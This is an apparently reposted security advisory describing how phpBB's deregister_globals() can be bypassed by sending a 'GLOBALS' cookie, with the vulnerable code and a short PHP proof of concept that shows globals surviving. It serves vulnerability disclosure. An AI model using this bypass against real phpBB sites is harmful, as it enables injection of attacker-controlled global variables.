Quantcast
Channel: BOT24
Viewing all articles
Browse latest Browse all 8064

phpBB

$
0
0
When PHP's register_globals configuration directive set on, phpBB will call
deregister_globals() function, all global variables registered by PHP will
be destroyed.  But deregister_globals() functions can be bypassed.

```
$input = array_merge(
array_keys($_GET),
array_keys($_POST),
array_keys($_COOKIE),
array_keys($_SERVER),
array_keys($_SESSION),
array_keys($_ENV),
array_keys($_FILES)
);

foreach ($input as $varname)
{
if (isset($not_unset[$varname]))
{
if ($varname !== 'GLOBALS' || isset($_GET['GLOBALS']) ||
isset($_POST['GLOBALS']) || isset($_SERVER['GLOBALS']) ||
isset($_SESSION['GLOBALS']) || isset($_ENV['GLOBALS']) ||
isset($_FILES['GLOBALS']))
{
exit;
}
else
{
$cookie = &$_COOKIE;
while (isset($cookie['GLOBALS']))
{
if (!is_array($cookie['GLOBALS']))
{
break;
}
....
}
}
unset($GLOBALS[$varname]);
}
```

In the above code we see, when request $_COOKIE['GLOBALS'] = 1,
$GLOBALS['GLOBALS'] will be destroyed by unset(). This means $GLOBALS array
will be destroyed. This also means you will not be able to use
$GLOBALS['key'] to access or control a global variable in all scopes
throughout a script. Because the binding between the $GLOBALS array and the
global symbol table has been broken. All global variables registered by PHP
form $_COOKIE, $_SERVER, $_SESSION, $_ENV, and $_FILES arrays will be not
unregistered.

Proof of Concept

```
$_COOKIE['GLOBALS'] = 1;
$_COOKIE['ryat'] = $ryat = 'ryat';

deregister_globals();

var_dump($GLOBALS);
var_dump($ryat);

$GLOBALS['ryat'] = 'hi';

var_dump($GLOBALS);
var_dump($ryat);
```

P.S. I had reported the issue to the phpBB developers, but they do not
consider this a security issue.


Authored byTaoguang Chen 
taoguangchen@gmail.com

Viewing all articles
Browse latest Browse all 8064

Trending Articles